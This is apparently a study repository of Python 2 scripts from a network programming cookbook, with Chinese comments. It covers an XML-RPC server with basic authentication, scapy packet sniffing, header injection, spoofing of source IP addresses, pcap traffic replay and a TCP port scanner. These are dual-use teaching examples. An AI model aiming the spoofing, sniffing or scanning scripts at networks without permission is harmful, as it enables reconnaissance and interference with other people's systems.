# 运行一个支持 HTTP 基本认证的 XML-RPC 服务器(客户端) 4 | 5 | import argparse 6 | import xmlrpclib 7 | 8 | def run_client(host, port, username, password): 9 | server = xmlrpclib.ServerProxy('http://%s:%s@%s:%s' % (username, password, host, port, )) 10 | msg = "hello server..." 11 | print "Sending message to server: %s" % msg 12 | print "Got reply: %s" % server.echo(msg) 13 | 14 | if __name__ == '__main__': 15 | parser = argparse.ArgumentParser(description='Multithreaded multicall XMLRPC Server/Proxy') 16 | parser.add_argument('--host', action="store", dest="host", default='localhost') 17 | parser.add_argument('--port', action="store", dest="port", default=8000, type=int) 18 | parser.add_argument('--username', action="store", dest="username", default='user') 19 | parser.add_argument('--password', action="store", dest="password", default='pass') 20 | # Parse arguments 21 | given_args = parser.parse_args() 22 | host, port = given_args.host, given_args.port 23 | username, password = given_args.username, given_args.password 24 | run_client(host, port, username, password) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 8/xmlrpc_server_with_http_auth.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 运行一个支持 HTTP 基本认证的 XML-RPC 服务器(服务端) 4 | 5 | import argparse 6 | import xmlrpclib 7 | from base64 import b64decode 8 | from SimpleXMLRPCServer import SimpleXMLRPCServer, SimpleXMLRPCRequestHandler 9 | 10 | class SecureXMLRPCServer(SimpleXMLRPCServer): 11 | def __init__(self, host, port, username, password, *args, **kargs): 12 | self.username = username 13 | self.password = password 14 | # Authenticate method is called from inner class 15 | class VerifyingRequestHandler(SimpleXMLRPCRequestHandler): 16 | # Method to override 17 | def parse_request(request): 18 | if SimpleXMLRPCRequestHandler.parse_request(request): 19 | # Authenticate 20 | if self.authenticate(request.headers): 21 | return True 22 | else: 23 | # If authentication fails return 401 24 | request.send_error(401, 'Authentication failed, Try agin.') 25 | return False 26 | # Initialize 27 | SimpleXMLRPCServer.__init__(self, (host, port), requestHandler=VerifyingRequestHandler, *args, **kargs) 28 | 29 | def authenticate(self, headers): 30 | print headers 31 | headers = headers.get('Authorization').split() 32 | print headers 33 | basic, encoded = headers[0], headers[1] 34 | if basic != 'Basic': 35 | print 'Only basic authentication supported' 36 | return False 37 | secret = b64decode(encoded).split(':') 38 | username, password = secret[0], secret[1] 39 | return True if (username == self.username and password == self.password) else False 40 | 41 | def run_server(host, port, username, password): 42 | server = SecureXMLRPCServer(host, port, username, password) 43 | # Simple test function 44 | def echo(msg): 45 | """Reply client in uppser case""" 46 | reply = msg.upper() 47 | print "Client said: %s. So we echo that in uppercase: %s" % (msg, reply) 48 | return reply 49 | server.register_function(echo, 'echo') 50 | print "Running a HTTP auth enabled XMLRPC server on %s:%s..." % (host, port) 51 | server.serve_forever() 52 | 53 | if __name__ == '__main__': 54 | parser = argparse.ArgumentParser(description='Multithreaded multicall XMLRPC Server/Proxy') 55 | parser.add_argument('--host', action="store", dest="host", default='localhost') 56 | parser.add_argument('--port', action="store", dest="port", default=8000, type=int) 57 | parser.add_argument('--username', action="store", dest="username", default='user') 58 | parser.add_argument('--password', action="store", dest="password", default='pass') 59 | # Parse arguments 60 | given_args = parser.parse_args() 61 | host, port = given_args.host, given_args.port 62 | username, password = given_args.username, given_args.password 63 | run_server(host, port, username, password) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 9/add_an_extra_header_in_http_packet.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 在 HTTP 数据包中添加额外的首部 4 | 5 | from scapy.all import * 6 | 7 | def modify_packet_header(pkt): 8 | """Parse the header and add an extra header""" 9 | if pkt.haslayer(TCP) and pkt.getlayer(TCP).dport == 80 and pkt.haslayer(Raw): 10 | hdr = pkt[TCP].payload.__dict__ 11 | extra_item = {'Extra Header': 'extra value'} 12 | hdr.update(extra_item) 13 | send_hdr = '\r\n'.join(hdr) 14 | pkt[TCP].payload = send_hdr 15 | 16 | pkt.show() 17 | 18 | del pkt[IP].chksum 19 | send(pkt) 20 | 21 | if __name__ == '__main__': 22 | # Start sniffing 23 | sniff(filter="tcp and ( port 80 )", prn=modify_packet_header) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 9/broadcast_scanning.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 扫描数据包的广播 4 | 5 | from scapy.all import * 6 | import os 7 | 8 | captured_data = dict() 9 | 10 | END_PORT = 1000 11 | 12 | def monitor_packet(pkt): 13 | if IP in pkt: 14 | if not captured_data.has_key(pkt[IP].src): 15 | captured_data[pkt[IP].src] = [] 16 | 17 | if TCP in pkt: 18 | if pkt[TCP].sport <= END_PORT: 19 | if not str(pkt[TCP].sport) in captured_data[pkt[IP].src]: 20 | captured_data[pkt[IP].src].append(str(pkt[TCP].sport)) 21 | 22 | os.system('clear') 23 | ip_list = sorted(captured_data.keys()) 24 | for key in ip_list: 25 | ports=', '.join(captured_data[key]) 26 | if len(captured_data[key]) == 0: 27 | print '%s' % key 28 | else: 29 | print '%s (%s)' % (key, ports) 30 | 31 | if __name__ == '__main__': 32 | sniff(prn=monitor_packet, store=0) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 9/modify_ip_in_a_packet.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 自定义数据包的 IP 地址 4 | 5 | import argparse 6 | import sys 7 | import re 8 | from random import randint 9 | from scapy.all import IP, TCP, UDP, conf, send 10 | 11 | def send_packet(protocol=None, src_ip=None, src_port=None, flags=None, dst_ip=None, dst_port=None, iface=None): 12 | """Modify and send an IP packet""" 13 | if protocol == 'tcp': 14 | packet = IP(src=src_ip, dst=dst_ip)/TCP(flags=flags, sport=src_port, dport=dst_port) 15 | elif protocol == 'udp': 16 | if flags: 17 | raise Exception("Flags are not supported for udp") 18 | packet = IP(src=src_ip, dst=dst_ip)/UDP(sport=src_port, dport=dst_port) 19 | else: 20 | raise Exception("Unknown protocol %s" % protocol) 21 | 22 | send(packet, iface=iface) 23 | 24 | if __name__ == '__main__': 25 | # Setup commandline arguments 26 | parser = argparse.ArgumentParser(description='Packet Modifier') 27 | parser.add_argument('--iface', action="store", dest="iface", default='enp0s3') 28 | parser.add_argument('--protocol', action="store", dest="protocol", default='tcp') 29 | parser.add_argument('--src-ip', action="store", dest="src_ip", default='192.168.1.61') 30 | parser.add_argument('--src-port', action="store", dest="src_port", default=randint(0, 65535)) 31 | parser.add_argument('--dst-ip', action="store", dest="dst_ip", default='192.168.1.51') 32 | parser.add_argument('--dst-port', action="store", dest="dst_port", default=randint(0, 65535)) 33 | parser.add_argument('--flags', action="store", dest="flags", default=None) 34 | # Parse arguments 35 | given_args = parser.parse_args() 36 | iface = given_args.iface 37 | protocol = given_args.protocol 38 | src_ip = given_args.src_ip 39 | src_port = given_args.src_port 40 | dst_ip = given_args.dst_ip 41 | dst_port = given_args.dst_port 42 | flags = given_args.flags 43 | send_packet(protocol, src_ip, src_port, flags, dst_ip, dst_port, iface) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 9/packet_sniffer.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 嗅探网络数据包 4 | 5 | # pylibpcap-0.6.4 BUG: 6 | # pcap.c: In function ‘SWIG_Python_AddErrorMsg’: 7 | # pcap.c:853:5: error: format not a string literal and no format arguments [-Werror=format-security] 8 | # PyErr_Format(PyExc_RuntimeError, mesg); 9 | # ^~~~~~~~~~~~ 10 | # cc1: some warnings being treated as errors 11 | # error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 12 | # Solution: 13 | # File --- ./pylibpcap-0.6.4/pcap.c 14 | # Edit line 853 --- // PyErr_Format(PyExc_RuntimeError, mesg); 15 | 16 | import argparse 17 | import pcap 18 | from construct.protocols.ipstack import ip_stack 19 | 20 | def print_packet(pktlen, data, timestamp): 21 | """Callback for priniting the packet payload""" 22 | if not data: 23 | return 24 | 25 | stack = ip_stack.parse(data) 26 | payload = stack.next.next.next 27 | print payload 28 | 29 | def main(): 30 | # Setup commandline arguments 31 | parser = argparse.ArgumentParser(description='Packet Sniffer') 32 | parser.add_argument('--iface', action="store", dest="iface", default='enp0s3') 33 | parser.add_argument('--port', action="store", dest="port", default=80, type=int) 34 | # Parse arguments 35 | given_args = parser.parse_args() 36 | iface, port = given_args.iface, given_args.port 37 | # Start sniffing 38 | pc = pcap.pcapObject() 39 | pc.open_live(iface, 1600, 0, 100) 40 | pc.setfilter('dst port %d' % port, 0, 0) 41 | 42 | print 'Press CTRL+C to end capture' 43 | try: 44 | while True: 45 | pc.dispatch(1, print_packet) 46 | except KeyboardInterrupt: 47 | print 'Packet statistics: %d packets received, %d packets dropped, %d packets dropped by the interface' % pc.stats() 48 | 49 | if __name__ == '__main__': 50 | main() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 9/replay_traffic.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 读取保存的 pcap 文件以重放流量 4 | 5 | import argparse 6 | from scapy.all import * 7 | 8 | def send_packet(recvd_pkt, src_ip, dst_ip, count): 9 | """Send modified packets""" 10 | pkt_cnt = 0 11 | p_out = [] 12 | 13 | for p in recvd_pkt: 14 | pkt_cnt += 1 15 | new_pkt = p.payload 16 | new_pkt[IP].dst = dst_ip 17 | new_pkt[IP].src = src_ip 18 | del new_pkt[IP].chksum 19 | p_out.append(new_pkt) 20 | if pkt_cnt % count == 0: 21 | send(PacketList(p_out)) 22 | p_out = [] 23 | 24 | # Send rest of packet 25 | send(PacketList(p_out)) 26 | print "Total packets sent: %d" % pkt_cnt 27 | 28 | if __name__ == '__main__': 29 | # Setup commandline arguments 30 | parser = argparse.ArgumentParser(description='Packet Sniffer') 31 | parser.add_argument('--infile', action="store", dest="infile", default='pcap1.pcap') 32 | parser.add_argument('--src-ip', action="store", dest="src_ip", default='1.1.1.1') 33 | parser.add_argument('--dst-ip', action="store", dest="dst_ip", default='2.2.2.2') 34 | parser.add_argument('--count', action="store", dest="count", default=100, type=int) 35 | # Parse arguments 36 | given_args = parser.parse_args() 37 | global src_ip, dst_ip 38 | infile = given_args.infile 39 | src_ip = given_args.src_ip 40 | dst_ip = given_args.dst_ip 41 | count = given_args.count 42 | try: 43 | pkt_reader = PcapReader(infile) 44 | send_packet(pkt_reader, src_ip, dst_ip, count) 45 | except IOError: 46 | print "Failed reading file %s contents" % infile 47 | sys.exit(1) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 9/save_packets_in_pcap_format.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用 pcap 转储器吧数据包保存为 pcap 格式 4 | 5 | import os 6 | from scapy.all import * 7 | 8 | pkts = [] 9 | count = 0 10 | pcapnum = 0 11 | 12 | def write_cap(x): 13 | global pkts 14 | global count 15 | global pcapnum 16 | pkts.append(x) 17 | count += 1 18 | if count == 3: 19 | pcapnum += 1 20 | pname = "pcap%d.pcap" % pcapnum 21 | wrpcap(pname, pkts) 22 | pkts = [] 23 | count = 0 24 | 25 | def test_dump_file(): 26 | print "Testing the dump file..." 27 | dump_file = "./pcap1.pcap" 28 | if os.path.exists(dump_file): 29 | print "dump fie %s found." % dump_file 30 | pkts = sniff(offline=dump_file) 31 | count = 0 32 | while (count <=2): 33 | print "----Dumping pkt:%s----" %count 34 | print hexdump(pkts[count]) 35 | count += 1 36 | 37 | else: 38 | print "dump fie %s not found." % dump_file 39 | 40 | if __name__ == '__main__': 41 | print "Started packet capturing and dumping... Press CTRL+C to exit" 42 | sniff(prn=write_cap) 43 | test_dump_file() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 9/scan_port_of_a_remote_host.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 扫描远程主机的窗口 4 | 5 | import argparse 6 | import socket 7 | import sys 8 | 9 | def scan_ports(host, start_port, end_port): 10 | """Scan remote hosts""" 11 | # Create socket 12 | try: 13 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 14 | except socket.error,err_msg: 15 | print 'Socket creation failed. Error code: '+ str(err_msg[0]) + ' Error mesage: ' + err_msg[1] 16 | sys.exit() 17 | 18 | # Get IP of remote host 19 | try: 20 | remote_ip = socket.gethostbyname(host) 21 | except socket.error, error_msg: 22 | print error_msg 23 | sys.exit() 24 | 25 | # Scan ports 26 | end_port += 1 27 | for port in range(start_port, end_port): 28 | try: 29 | sock.connect((remote_ip, port)) 30 | print 'Port ' + str(port) + ' is open' 31 | sock.close() 32 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 33 | except socket.error: 34 | pass # Skip various socket errors 35 | 36 | if __name__ == '__main__': 37 | # Setup commandline arguments 38 | parser = argparse.ArgumentParser(description='Remote Port Scanner') 39 | parser.add_argument('--host', action="store", dest="host", default='localhost') 40 | parser.add_argument('--start-port', action="store", dest="start_port", default=1, type=int) 41 | parser.add_argument('--end-port', action="store", dest="end_port", default=100, type=int) 42 | # Parse arguments 43 | given_args = parser.parse_args() 44 | host, start_port, end_port = given_args.host, given_args.start_port, given_args.end_port 45 | scan_ports(host, start_port, end_port) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | Study 3 | ====== 4 | ## Python Network Programming Cookbook 5 | > Date: March 2014 6 | > 7 | > Author: Dr. M. O. Faruque Sarker 8 | 9 | ## Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers 10 | > Date: December 2012 11 | > 12 | > Author: T. J. O'Connor 13 | 14 | ## Black Hat Python: Python Programming for Hackers and Pentesters 15 | > Date: December 2014 16 | > 17 | > Author: Justin Seitz --------------------------------------------------------------------------------